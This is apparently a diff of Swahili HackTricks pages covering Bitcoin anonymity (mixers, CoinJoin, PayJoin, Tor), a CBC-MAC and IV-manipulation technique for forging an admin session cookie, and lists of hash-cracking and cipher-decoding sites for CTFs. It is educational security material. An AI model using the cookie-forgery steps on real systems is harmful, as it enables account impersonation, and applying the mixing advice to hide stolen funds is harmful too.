## Njia za Kupata Bitcoins kwa Siri
|
||||
|
||||
- **Shughuli za Fedha Taslimu**: Kupata bitcoin kupitia pesa taslimu.
|
||||
- **Chaguzi za Fedha Taslimu**: Kununua kadi za zawadi na kuzibadilisha mtandaoni kwa bitcoin.
|
||||
- **Uchimbaji**: Njia ya siri zaidi ya kupata bitcoins ni kupitia uchimbaji, hasa unapofanywa peke yako kwa sababu mabwawa ya uchimbaji yanaweza kujua anwani ya IP ya mchimbaji. [Maelezo ya Mabwawa ya Uchimbaji](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Mbada wa Fedha Taslimu**: Kununua kadi za zawadi na kuzibadilisha mtandaoni kwa bitcoin.
|
||||
- **Uchimbaji**: Njia ya faragha zaidi ya kupata bitcoins ni kupitia uchimbaji, hasa unapofanywa peke yako kwa sababu mabwawa ya uchimbaji yanaweza kujua anwani ya IP ya mchimbaji. [Maelezo ya Mabwawa ya Uchimbaji](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Wizi**: Kimsingi, kuiba bitcoin kunaweza kuwa njia nyingine ya kupata kwa siri, ingawa ni kinyume cha sheria na siyo kupendekezwa.
|
||||
|
||||
## Huduma za Kuchanganya
|
||||
|
|
@ -123,7 +110,7 @@ Kwa kutumia huduma ya kuchanganya, mtumiaji anaweza **kutuma bitcoins** na kupok
|
|||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** inachanganya shughuli nyingi kutoka kwa watumiaji tofauti kuwa moja, ikifanya iwe ngumu kwa yeyote anayejaribu kulinganisha vipande vya kuingiza na vya kutoa. Licha ya ufanisi wake, shughuli zenye vipande vya kuingiza na vya kutoa vya kipekee bado inaweza kufuatiliwa.
|
||||
**CoinJoin** inachanganya shughuli nyingi kutoka kwa watumiaji tofauti kuwa moja, ikifanya iwe ngumu kwa yeyote anayejaribu kulinganisha vipande vya kuingiza na matokeo. Licha ya ufanisi wake, shughuli zenye vipande vya kuingiza na matokeo ya kipekee bado inaweza kufuatiliwa.
|
||||
|
||||
Shughuli za mfano ambazo zinaweza kuwa zimetumia CoinJoin ni `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` na `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
|
|
@ -131,25 +118,23 @@ Kwa maelezo zaidi, tembelea [CoinJoin](https://coinjoin.io/en). Kwa huduma kama
|
|||
|
||||
## PayJoin
|
||||
|
||||
Aina ya CoinJoin, **PayJoin** (au P2EP), inaficha shughuli kati ya pande mbili (k.m., mteja na muuzaji) kama shughuli ya kawaida, bila matokeo sawa yanayotambulika ya CoinJoin. Hii inafanya iwe ngumu sana kugundua na inaweza kufuta kanuni ya kawaida ya umiliki wa kuingiza inayotumiwa na taasisi za ufuatiliaji wa shughuli.
|
||||
Aina ya CoinJoin, **PayJoin** (au P2EP), inaficha shughuli kati ya pande mbili (k.m., mteja na muuzaji) kama shughuli ya kawaida, bila matokeo sawa yanayojulikana kwa CoinJoin. Hii inafanya iwe ngumu sana kugundua na inaweza kufuta kanuni ya kawaida ya kumiliki kuingiza inayotumiwa na taasisi za ufuatiliaji wa shughuli.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
```markdown
|
||||
Transactions kama hiyo hapo juu zinaweza kuwa PayJoin, zikiboresha faragha wakati zikibaki isiyotofautishika na miamala ya kawaida ya bitcoin.
|
||||
**Miamala kama hiyo hapo juu inaweza kuwa PayJoin, ikiboresha faragha wakati bado inabaki isiyotofautishwa na miamala ya kawaida ya bitcoin.**
|
||||
|
||||
**Matumizi ya PayJoin yanaweza kuvuruga sana njia za ufuatiliaji za jadi**, ikifanya kuwa maendeleo yanayostahili katika harakati za faragha ya miamala.
|
||||
|
||||
|
||||
# Mbinu Bora za Faragha katika Sarafu za Kielektroniki
|
||||
# Mbinu Bora kwa Ajili ya Faragha katika Sarafu za Kielektroniki
|
||||
|
||||
## **Mbinu za Synchronization ya Pochi**
|
||||
|
||||
Ili kudumisha faragha na usalama, kusawazisha pochi na blockchain ni muhimu. Kuna njia mbili zinazojitokeza:
|
||||
|
||||
- **Node kamili**: Kwa kupakua blockchain nzima, node kamili inahakikisha faragha ya juu. Miamala yote iliyowahi kufanywa inahifadhiwa kwa kienyeji, ikifanya iwe haiwezekani kwa maadui kutambua ni miamala au anwani zipi mtumiaji anavutiwa nazo.
|
||||
- **Uchujaji wa block upande wa mteja**: Njia hii inahusisha kuunda vichujio kwa kila block katika blockchain, kuruhusu pochi kutambua miamala inayofaa bila kufunua maslahi maalum kwa wachunguzi wa mtandao. Pochi nyepesi hupakua vichujio hivi, kuchukua bloki kamili tu wakati mechi na anwani za mtumiaji inapatikana.
|
||||
- **Node kamili**: Kwa kupakua blockchain nzima, node kamili inahakikisha faragha ya juu. Miamala yote iliyowahi kufanywa inahifadhiwa kwa kienyeji, ikifanya iwe haiwezekani kwa maadui kutambua ni miamala gani au anwani ambazo mtumiaji anavutiwa nazo.
|
||||
- **Uchujaji wa block upande wa mteja**: Njia hii inahusisha kuunda vichujio kwa kila block katika blockchain, kuruhusu pochi kutambua miamala inayofaa bila kufunua maslahi maalum kwa wachunguzi wa mtandao. Pochi nyepesi hupakua vichujio hivi, na kuchukua block kamili tu wakati mechi na anwani za mtumiaji inapatikana.
|
||||
|
||||
## **Kutumia Tor kwa Anonimiti**
|
||||
|
||||
|
|
@ -157,30 +142,29 @@ Kwa kuwa Bitcoin inafanya kazi kwenye mtandao wa rika-kwa-rika, kutumia Tor kuna
|
|||
|
||||
## **Kuzuia Kutumia Anwani Tena**
|
||||
|
||||
Ili kulinda faragha, ni muhimu kutumia anwani mpya kwa kila miamala. Kutumia anwani mara nyingi kunaweza kuhatarisha faragha kwa kuunganisha miamala kwa kitambulisho kimoja. Pochi za kisasa zinakataza kutumia anwani tena kupitia muundo wao.
|
||||
Ili kulinda faragha, ni muhimu kutumia anwani mpya kwa kila miamala. Kutumia tena anwani kunaweza kuhatarisha faragha kwa kuunganisha miamala kwa kitambulisho kimoja. Pochi za kisasa zinakataza kutumia tena anwani kupitia muundo wao.
|
||||
|
||||
## **Mbinu za Faragha ya Miamala**
|
||||
|
||||
- **Miamala mingi**: Kugawanya malipo katika miamala kadhaa kunaweza kuficha kiasi cha miamala, kuzuia mashambulizi ya faragha.
|
||||
- **Kuepuka kubadilisha**: Kuchagua miamala ambayo haitahitaji mabadiliko ya pato inaboresha faragha kwa kuvuruga njia za kugundua mabadiliko.
|
||||
- **Kuepuka kubadilisha**: Kuchagua miamala ambayo haitahitaji mabadiliko ya pato huimarisha faragha kwa kuvuruga njia za kugundua mabadiliko.
|
||||
- **Mabadiliko mengi ya pato**: Ikiwa kuepuka mabadiliko sio jambo linalowezekana, kuzalisha mabadiliko mengi ya pato bado kunaweza kuboresha faragha.
|
||||
|
||||
# **Monero: Ishara ya Anonimiti**
|
||||
# **Monero: Mwanga wa Anonimiti**
|
||||
|
||||
Monero inakabiliana na haja ya anonimiti kamili katika miamala ya kidijitali, ikiweka kiwango kikubwa cha faragha.
|
||||
|
||||
# **Ethereum: Gas na Miamala**
|
||||
# **Ethereum: Gesi na Miamala**
|
||||
|
||||
## **Kuelewa Gas**
|
||||
## **Kuelewa Gesi**
|
||||
|
||||
Gas hupima juhudi za kihesabu zinazohitajika kutekeleza shughuli kwenye Ethereum, ikiwa na bei katika **gwei**. Kwa mfano, miamala inayogharimu 2,310,000 gwei (au 0.00231 ETH) inahusisha kikomo cha gesi na ada ya msingi, pamoja na bahasha ya kuhamasisha wachimbaji. Watumiaji wanaweza kuweka ada ya juu ili kuhakikisha hawalipi zaidi, na ziada kurudishiwa.
|
||||
Gesi inapima juhudi za kuhesabu zinazohitajika kutekeleza shughuli kwenye Ethereum, ikiwa na bei katika **gwei**. Kwa mfano, miamala inayogharimu 2,310,000 gwei (au 0.00231 ETH) inahusisha kikomo cha gesi na ada ya msingi, pamoja na bahasha ya kuhamasisha wachimbaji. Watumiaji wanaweza kuweka ada ya juu ili kuhakikisha hawalipi zaidi, na ziada kurudishiwa.
|
||||
|
||||
## **Kutekeleza Miamala**
|
||||
|
||||
Miamala kwenye Ethereum inahusisha mtumaji na mpokeaji, ambao wanaweza kuwa anwani za mtumiaji au mikataba ya akili. Wanahitaji ada na lazima wachimbwe. Taarifa muhimu katika miamala ni mpokeaji, saini ya mtumaji, thamani, data ya hiari, kikomo cha gesi, na ada. Kwa umuhimu, anwani ya mtumaji inahesabiwa kutoka kwa saini, ikiondoa haja ya hiyo katika data ya miamala.
|
||||
|
||||
Mbinu hizi na mifumo ni msingi kwa yeyote anayetaka kushiriki katika sarafu za kielektroniki huku akiprioritize faragha na usalama.
|
||||
Miamala kwenye Ethereum inahusisha mtumaji na mpokeaji, ambao wanaweza kuwa anwani za mtumiaji au mikataba mjanja. Wanahitaji ada na lazima wachimbwe. Taarifa muhimu katika miamala ni mpokeaji, saini ya mtumaji, thamani, data ya hiari, kikomo cha gesi, na ada. Kwa umuhimu, anwani ya mtumaji inahesabiwa kutoka kwa saini, ikiondoa haja ya kuwepo kwake katika data ya miamala.
|
||||
|
||||
Mbinu hizi na mifumo ni msingi kwa yeyote anayetaka kushiriki katika sarafu za kielektroniki huku akipatia kipaumbele faragha na usalama.
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
|
@ -190,19 +174,3 @@ Mbinu hizi na mifumo ni msingi kwa yeyote anayetaka kushiriki katika sarafu za k
|
|||
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
|
||||
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
|
||||
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhack AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
|||
|
|
@ -1,25 +1,26 @@
|
|||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# CBC
|
||||
|
||||
Ikiwa **cookie** ni **tu** **jina la mtumiaji** (au sehemu ya kwanza ya cookie ni jina la mtumiaji) na unataka kujifanya kuwa jina la mtumiaji "**admin**". Kisha, unaweza kuunda jina la mtumiaji **"bdmin"** na **kuvunja nguvu** **baiti ya kwanza** ya cookie.
|
||||
Ikiwa **cookie** ni **tu** **jina la mtumiaji** (au sehemu ya kwanza ya cookie ni jina la mtumiaji) na unataka kujifanya kuwa jina la mtumiaji "**admin**". Kisha, unaweza kuunda jina la mtumiaji **"bdmin"** na **kufanya jaribio la nguvu** ya **byte ya kwanza** ya cookie.
|
||||
|
||||
# CBC-MAC
|
||||
|
||||
**Msimbo wa uthibitishaji wa ujumbe wa kufungwa kwa mnyororo** (**CBC-MAC**) ni njia inayotumiwa katika kriptografia. Inafanya kazi kwa kuchukua ujumbe na kuuweka kwa kufungwa kwa kila kibodi, ambapo kufungwa kwa kila kibodi kunahusishwa na ile iliyotangulia. Mchakato huu unajenga **mnyororo wa kibodi**, ikisafisha kwamba kubadilisha hata biti moja tu ya ujumbe halisi kutapelekea mabadiliko yasiyotabirika katika kibodi ya mwisho ya data iliyofungwa. Ili kufanya au kubadilisha mabadiliko kama hayo, ufunguo wa kufungwa unahitajika, ikisafisha usalama.
|
||||
**Msimbo wa uthibitishaji wa ujumbe wa kufungwa kwa mnyororo** (**CBC-MAC**) ni njia inayotumiwa katika kriptografia. Inafanya kazi kwa kuchukua ujumbe na kuuweka kwa kufungwa kwa kila kibodi, ambapo kufungwa kwa kila kibodi kunahusishwa na ile iliyotangulia. Mchakato huu unajenga **mnyororo wa kibodi**, ukisafisha kwamba kubadilisha hata kidogo tu biti ya ujumbe halisi kutapelekea mabadiliko yasiyotabirika katika kibodi ya mwisho ya data iliyofungwa. Ili kufanya au kubadilisha mabadiliko kama hayo, ufunguo wa kufungwa unahitajika, ikisimamia usalama.
|
||||
|
||||
Ili kuhesabu CBC-MAC ya ujumbe m, mtu anafunga m katika hali ya CBC na vector ya kuanzisha sifuri na kuhifadhi kibodi ya mwisho. Mchoro unaofuata unapanga hesabu ya CBC-MAC ya ujumbe unaoundwa na kibodi ukitumia ufunguo wa siri k na kibodi ya kibodi E:
|
||||
|
||||
|
|
@ -27,7 +28,7 @@ Ili kuhesabu CBC-MAC ya ujumbe m, mtu anafunga m katika hali ya CBC na vector ya
|
|||
|
||||
# Udhaifu
|
||||
|
||||
Kwa kawaida CBC-MAC **IV iliyotumiwa ni 0**.\
|
||||
Kwa CBC-MAC kawaida **IV iliyotumiwa ni 0**.\
|
||||
Hii ni tatizo kwa sababu ujumbe 2 uliojulikana (`m1` na `m2`) kila mmoja utazalisha saini 2 (`s1` na `s2`). Kwa hivyo:
|
||||
|
||||
* `E(m1 XOR 0) = s1`
|
||||
|
|
@ -40,13 +41,13 @@ Kisha ujumbe uliojumuisha m1 na m2 (m3) utazalisha saini 2 (s31 na s32):
|
|||
|
||||
**Ambayo inawezekana kuhesabu bila kujua ufunguo wa kufungwa.**
|
||||
|
||||
Fikiria unafunga jina **Msimamizi** katika kibodi za **8baiti**:
|
||||
Fikiria unafunga jina **Msimamizi** katika kibodi za **8bytes**:
|
||||
|
||||
* `Administ`
|
||||
* `rator\00\00\00`
|
||||
|
||||
Unaweza kuunda jina la mtumiaji linaloitwa **Administ** (m1) na kupata saini (s1).\
|
||||
Kisha, unaweza kuunda jina la mtumiaji linaloitwa matokeo ya `rator\00\00\00 XOR s1`. Hii itazalisha `E(m2 XOR s1 XOR 0)` ambayo ni s32.\
|
||||
Kisha, unaweza kuunda jina la mtumiaji lililopatikana kutoka `rator\00\00\00 XOR s1`. Hii itazalisha `E(m2 XOR s1 XOR 0)` ambayo ni s32.\
|
||||
sasa, unaweza kutumia s32 kama saini ya jina kamili **Msimamizi**.
|
||||
|
||||
### Muhtasari
|
||||
|
|
@ -55,27 +56,28 @@ sasa, unaweza kutumia s32 kama saini ya jina kamili **Msimamizi**.
|
|||
2. Pata saini ya jina la mtumiaji **rator\x00\x00\x00 XOR s1 XOR 0** ni s32**.**
|
||||
3. Weka cookie kwa s32 na itakuwa cookie halali kwa mtumiaji **Msimamizi**.
|
||||
|
||||
# Kudhibiti Shambulio la IV
|
||||
# Kudhibiti Mashambulizi ya IV
|
||||
|
||||
Ikiwa unaweza kudhibiti IV iliyotumiwa shambulio linaweza kuwa rahisi sana.\
|
||||
Ikiwa unaweza kudhibiti IV iliyotumiwa mashambulizi yanaweza kuwa rahisi sana.\
|
||||
Ikiwa vidakuzi ni tu jina la mtumiaji lililofungwa, kujifanya kuwa mtumiaji "**msimamizi**" unaweza kuunda mtumiaji "**Msimamizi**" na utapata cookie yake.\
|
||||
Sasa, ikiwa unaweza kudhibiti IV, unaweza kubadilisha Baiti ya kwanza ya IV ili **IV\[0] XOR "A" == IV'\[0] XOR "a"** na kuzalisha upya cookie kwa mtumiaji **Msimamizi.** Cookie hii itakuwa halali kudukua mtumiaji **msimamizi** na IV ya awali.
|
||||
Sasa, ikiwa unaweza kudhibiti IV, unaweza kubadilisha Byte ya kwanza ya IV ili **IV\[0] XOR "A" == IV'\[0] XOR "a"** na kuzalisha upya cookie kwa mtumiaji **Msimamizi.** Cookie hii itakuwa halali kwa **kujifanya** kuwa mtumiaji **msimamizi** na IV ya awali.
|
||||
|
||||
## Marejeo
|
||||
|
||||
Maelezo zaidi katika [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
Maelezo zaidi kwenye [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks kwa Wataalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -1,20 +1,21 @@
|
|||
# Mbinu za Crypto CTFs
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na zoezi la AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na zoezi la GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Mafunzo ya HackTricks ya Mtaalam wa Timu Nyekundu ya GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>unga mkono HackTricks</summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Dbs za Hashes Mtandaoni
|
||||
## Dbs za Hashi za Mtandaoni
|
||||
|
||||
* _**Tafuta kwenye Google**_
|
||||
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||
|
|
@ -28,34 +29,34 @@ Njia nyingine za kusaidia HackTricks:
|
|||
* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
|
||||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
|
||||
|
||||
## Vifaa vya Kiotomatiki vya Ufumbuzi wa Siri
|
||||
## Watafutaji wa Kiotomatiki wa Ajabu
|
||||
|
||||
* [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Moduli ya Uchawi)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Moduli ya Ajabu)
|
||||
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||
|
||||
## Wajumuishaji
|
||||
## Wachimbaji wa Msimbaji
|
||||
|
||||
Data nyingi iliyohifadhiwa inaweza kufumbuliwa na rasilimali hizi 2:
|
||||
Kiwango kikubwa cha data iliyosimbwa inaweza kusimbuliwa na rasilimali hizi 2:
|
||||
|
||||
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||
|
||||
### Vifaa vya Kiotomatiki vya Badilishaji
|
||||
### Watafutaji wa Kiotomatiki wa Kubadilisha
|
||||
|
||||
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||
* [https://quipqiup.com/](https://quipqiup.com) - Nzuri sana!
|
||||
|
||||
#### Wajumuishaji wa Caesar - ROTx
|
||||
#### Wachimbaji wa Caesar - ROTx
|
||||
|
||||
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||
|
||||
#### Atbash Cipher
|
||||
#### Msimbaji wa Atbash
|
||||
|
||||
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||
|
||||
### Vifaa vya Kiotomatiki vya Msingi wa Kodi
|
||||
### Wachimbaji wa Msingi wa Msimbaji
|
||||
|
||||
Angalia misingi hii yote na: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||
|
||||
|
|
@ -190,21 +191,21 @@ drnajapajrna
|
|||
|
||||
### A1Z26
|
||||
|
||||
Barua kwa thamani zao za nambari
|
||||
Barua kwenda kwa thamani zao za nambari
|
||||
```
|
||||
8 15 12 1 3 1 18 1 3 15 12 1
|
||||
```
|
||||
### Kifaa cha Affine Chomeka
|
||||
### Ufungaji wa Chaguo la Affine
|
||||
|
||||
Barua kwenda nambari `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni barua) na matokeo rudisha kwa barua
|
||||
Barua hadi num `(ax+b)%26` (_a_ na _b_ ni funguo na _x_ ni herufi) na matokeo kurudi kwa herufi
|
||||
```
|
||||
krodfdudfrod
|
||||
```
|
||||
### Msimbo wa SMS
|
||||
|
||||
**Multitap** [badilisha herufi](https://www.dcode.fr/word-letter-change) kwa nambari zinazorudiwa zilizofafanuliwa na nambari ya ufunguo inayolingana kwenye kibodi ya simu ya mkononi ([keypad](https://www.dcode.fr/phone-keypad-cipher)) (Hali hii hutumiwa wakati wa kuandika SMS).\
|
||||
**Multitap** [badilisha herufi](https://www.dcode.fr/word-letter-change) kwa nambari zinazorudi zilizofafanuliwa na nambari ya ufunguo inayolingana kwenye kibodi ya simu ya mkononi (Hali hii hutumiwa wakati wa kuandika SMS).\
|
||||
Kwa mfano: 2=A, 22=B, 222=C, 3=D...\
|
||||
Unaweza kutambua msimbo huu kwa sababu utaona\*\* nambari kadhaa zinazorudiwa\*\*.
|
||||
Unaweza kutambua msimbo huu kwa sababu utaona\*\* nambari kadhaa zikirudiwa\*\*.
|
||||
|
||||
Unaweza kufichua msimbo huu hapa: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||
|
||||
|
|
@ -219,9 +220,9 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
|||
|
||||
|
||||
|
||||
## Ufupishaji
|
||||
## Kukandamiza
|
||||
|
||||
**Raw Deflate** na **Raw Inflate** (unaweza kupata zote katika Cyberchef) zinaweza kufupisha na kufufua data bila vichwa.
|
||||
**Raw Deflate** na **Raw Inflate** (unaweza kupata zote kwenye Cyberchef) zinaweza kukandamiza na kufyatua data bila vichwa.
|
